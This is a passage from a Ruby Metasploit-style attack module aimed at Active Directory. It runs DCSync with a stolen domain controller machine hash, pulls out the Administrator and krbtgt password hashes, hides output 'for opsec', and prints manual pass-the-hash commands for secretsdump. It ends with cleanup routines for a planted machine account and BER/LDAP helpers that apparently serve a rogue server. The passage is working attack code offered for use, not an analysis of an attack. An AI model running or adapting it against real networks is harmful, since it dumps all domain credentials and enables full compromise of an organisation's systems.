      print_error('  PKINIT / UnPAC-the-hash has to succeed first - see step 5 above.')
      return
    end

    creds = @dc_ntlm_hash.include?(':') ? @dc_ntlm_hash :
              "#{BLANK_LM}:#{@dc_ntlm_hash}"
    vprint_status("  Using #{datastore['DOMAIN']}\\#{@target_dc} : #{creds}")

    ran = false
    begin
      mod = framework.modules.create('auxiliary/gather/windows_secrets_dump')
      raise 'auxiliary/gather/windows_secrets_dump is not available' if mod.nil?

      mod.datastore['RHOSTS']    = datastore['DC_IP']
      mod.datastore['SMBDomain'] = datastore['DOMAIN']
      mod.datastore['SMBUser']   = @target_dc
      mod.datastore['SMBPass']   = creds
      mod.datastore['VERBOSE']   = false
      mod.datastore['ACTION']    = 'DOMAIN'

      print_status("  Running DCSync as #{datastore['DOMAIN']}\\#{@target_dc} (output shown when complete)...")
      buffer = Rex::Ui::Text::Output::Buffer.new
      mod.run_simple('RunAsJob' => false, 'LocalOutput' => buffer)

      dcsync_report(buffer.buf.to_s)

      child_error = mod.respond_to?(:error) ? mod.error : nil
      if child_error
        print_warning("  DCSync module reported: #{child_error}")
      else
        ran = true
      end
    rescue StandardError => e
      print_warning("  Could not run windows_secrets_dump automatically: #{e.class}: #{e.message}")
    end

    return if ran

    print_status('  Run DCSync manually with the recovered hash:')
    print_status('    use auxiliary/gather/windows_secrets_dump')
    print_status("    set RHOSTS #{datastore['DC_IP']}")
    print_status("    set SMBDomain #{datastore['DOMAIN']}")
    print_status("    set SMBUser #{@target_dc}")
    print_status("    set SMBPass #{creds}")
    print_status('    set ACTION DOMAIN')
    print_status('    run')
    print_status('  or with impacket:')
    print_status("    impacket-secretsdump -just-dc -hashes #{creds} " \
                 "-dc-ip #{datastore['DC_IP']} '#{datastore['DOMAIN']}/#{@target_dc}@#{datastore['DC_IP']}'")
  end

  def dcsync_report(text)
    return if text.empty?

    keep = false
    shown = 0
    text.each_line do |raw|
      line = raw.chomp

      if line.lstrip.start_with?('# ')
        keep = DCSYNC_KEEP_SECTIONS.any? { |s| line.lstrip.start_with?(s) }
        print_line(line) if keep
        next
      end

      harvest_dcsync_line(line)

      next unless keep
      next if line.strip.empty?
      next if DCSYNC_DROP_LINES.any? { |re| line.match?(re) }

      print_line(line)
      shown += 1
    end

    print_good("  DCSync complete - #{shown} secret line(s) shown, others suppressed for opsec")
    print_status('  (SIDs, full pwdump, account info and kerberos-key sections hidden)')
  end

  def harvest_dcsync_line(line)
    if (m = line.match(/Administrator:500:([a-f0-9]{32}):([a-f0-9]{32}):/i))
      @admin_hash = "#{m[1]}:#{m[2]}"
    end
    if (m = line.match(/krbtgt:502:[a-f0-9]{32}:([a-f0-9]{32}):/i))
      @results[:krbtgt] = m[1]
    end
  end

  def cleanup_rogue_services
    @rogue_threads.each do |t|
      t.kill if t && t.alive?
    end
    vprint_status("Rogue servers stopped")
  rescue => e
    vprint_error("Error stopping rogue servers: #{e.message}")
  end

  def cleanup_machine_account
    return if @computer_name.blank?

    flat = @computer_name.chomp('$')

    unless datastore['CLEANUP_ACCOUNT']
      print_warning("Left machine account #{@computer_name} in #{datastore['DOMAIN']}. " \
                    'Set CLEANUP_ACCOUNT true, or remove it manually:')
      print_warning("  Remove-ADComputer -Identity #{flat} -Confirm:$false")
      @results[:cleanup] = "NOT removed - #{@computer_name} still exists"
      return
    end

    user, pass, source = cleanup_credentials
    if pass.blank?
      print_warning("  No usable credentials for cleanup - #{@computer_name} left in place")
      @results[:cleanup] = "NOT removed - #{@computer_name} still exists"
      return
    end

    print_status("Cleaning up: deleting #{@computer_name} as #{user} (#{source})...")
    tree = nil
    begin
      tree = connect_smb_for_samr(user: user, pass: pass)
      delete_account(tree: tree, account_name: @computer_name)
      print_good("  Deleted #{@computer_name}")
      @results[:cleanup] = "#{@computer_name} deleted"
    rescue StandardError => e
      print_warning("  Could not delete #{@computer_name}: #{e.message}")
      @results[:cleanup] = "NOT removed - #{@computer_name} still exists"
      if source == 'module credentials'
        print_warning('  A machine account\'s own creator has no DELETE right on it. Supply')
        print_warning('  privileged credentials via CLEANUP_USER + CLEANUP_PASS/CLEANUP_HASH,')
        print_warning('  or use ACTION FULL so the Administrator hash from DCSync is reused.')
      end
      print_warning("  Manual removal: Remove-ADComputer -Identity #{flat} -Confirm:$false")
    ensure
      disconnect_smb(tree) rescue nil
    end
  end

  def cleanup_credentials
    if datastore['CLEANUP_USER'].present?
      pass =
        if datastore['CLEANUP_HASH'].present?
          normalize_ntlm_hash(datastore['CLEANUP_HASH'])
        else
          datastore['CLEANUP_PASS']
        end
      return [datastore['CLEANUP_USER'], pass, 'CLEANUP_USER']
    end

    return ['Administrator', @admin_hash, 'Administrator hash from DCSync'] if @admin_hash

    [datastore['USERNAME'], user_smb_secret, 'module credentials']
  end

  def normalize_ntlm_hash(value)
    v = value.to_s.strip
    v.include?(':') ? v : "#{BLANK_LM}:#{v}"
  end

  def ber_decode_length(data, offset = 0)
    return [0, offset] if offset >= data.length
    first = data[offset].ord
    offset += 1

    if first < 0x80
      return [first, offset]
    end

    num_bytes = first & 0x7F
    return [0, offset] if num_bytes == 0 || offset + num_bytes > data.length

    len = 0
    num_bytes.times do
      len = (len << 8) | data[offset].ord
      offset += 1
    end

    [len, offset]
  end

  def ber_encode_length(length)
    if length < 0x80
      [length].pack('C')
    elsif length < 0x100
      [0x81, length].pack('CC')
    elsif length < 0x10000
      [0x82, length >> 8, length & 0xFF].pack('CCC')
    else
      [0x83, length >> 16, (length >> 8) & 0xFF, length & 0xFF].pack('CCCC')
    end
  end

  def ber_parse_message(data)
    return [0, 0, ''.b] if data.length < 2
    outer_tag = data[0].ord
    return [0, 0, ''.b] if outer_tag != 0x30

    msg_len, offset = ber_decode_length(data, 1)
    content = data[offset, msg_len] || ''.b

    return [0, 0, ''.b] if content.length < 6 || content[0].ord != 0x02

    mid_len = content[1].ord
    return [0, 0, ''.b] if mid_len > 4 || content.length < 2 + mid_len + 1

    mid = 0
    mid_len.times { |i| mid = (mid << 8) | content[2 + i].ord }
    op_offset = 2 + mid_len

    op_tag = content[op_offset].ord
    op_len, op_data_offset = ber_decode_length(content, op_offset + 1)
    op_payload = content[op_data_offset, op_len] || ''.b

    [mid, op_tag, op_payload]
  end

  def ber_read_string(data, offset)
    return ['', offset] if offset >= data.length
    tag = data[offset].ord
    offset += 1
    str_len, offset = ber_decode_length(data, offset)
    str = data[offset, str_len] || ''.b
    [str, offset + str_len]
  end

  def ber_read_integer(data, offset)
    return [0, offset] if offset >= data.length
    offset += 1 # skip tag
    int_len, offset = ber_decode_length(data, offset)
    val = 0
    int_len.times do
      val = (val << 8) | data[offset].ord
      offset += 1
    end
    [val, offset]
  end

  def ber_read_boolean(data, offset)
    return [false, offset] if offset >= data.length
    offset += 1                                    # tag
    len, offset = ber_decode_length(data, offset)
    val = len.positive? ? data[offset].ord != 0 : false
    [val, offset + len]
  end

  def ber_encode_integer(value)
    v = value.to_i
    bytes = []
    if v.zero?
      bytes = [0]
    else
      while v > 0
        bytes.unshift(v & 0xFF)
        v >>= 8
      end
      bytes.unshift(0) if bytes.first >= 0x80   # stay positive
    end
    ''.b << [0x02].pack('C') << ber_encode_length(bytes.length) << bytes.pack('C*')
  end

  def ber_build_message(msg_id, op_tag, op_payload)
    op = ''.b << [op_tag].pack('C') << ber_encode_length(op_payload.length) << op_payload
    content = ber_encode_integer(msg_id) + op
    ''.b << 0x30.chr << ber_encode_length(content.length) << content
  end

  def ber_encode_result(code)
    ''.b << [0x0A].pack('C') << ber_encode_length(1) << [code].pack('C')
  end

  def ber_encode_string(str)
    s = str.to_s.b
    ''.b << [0x04].pack('C') << ber_encode_length(s.bytesize) << s
  end

  def ber_encode_set(items)
    content = items.join
    ''.b << [0x31].pack('C') << ber_encode_length(content.length) << content
  end

  def ber_encode_sequence(items)
    content = items.join
    ''.b << [0x30].pack('C') << ber_encode_length(content.length) << content
  end

  def ber_encode_search_result_done(code)
    ''.b << ber_encode_result(code) << ber_encode_string('') << ber_encode_string('')
  end

end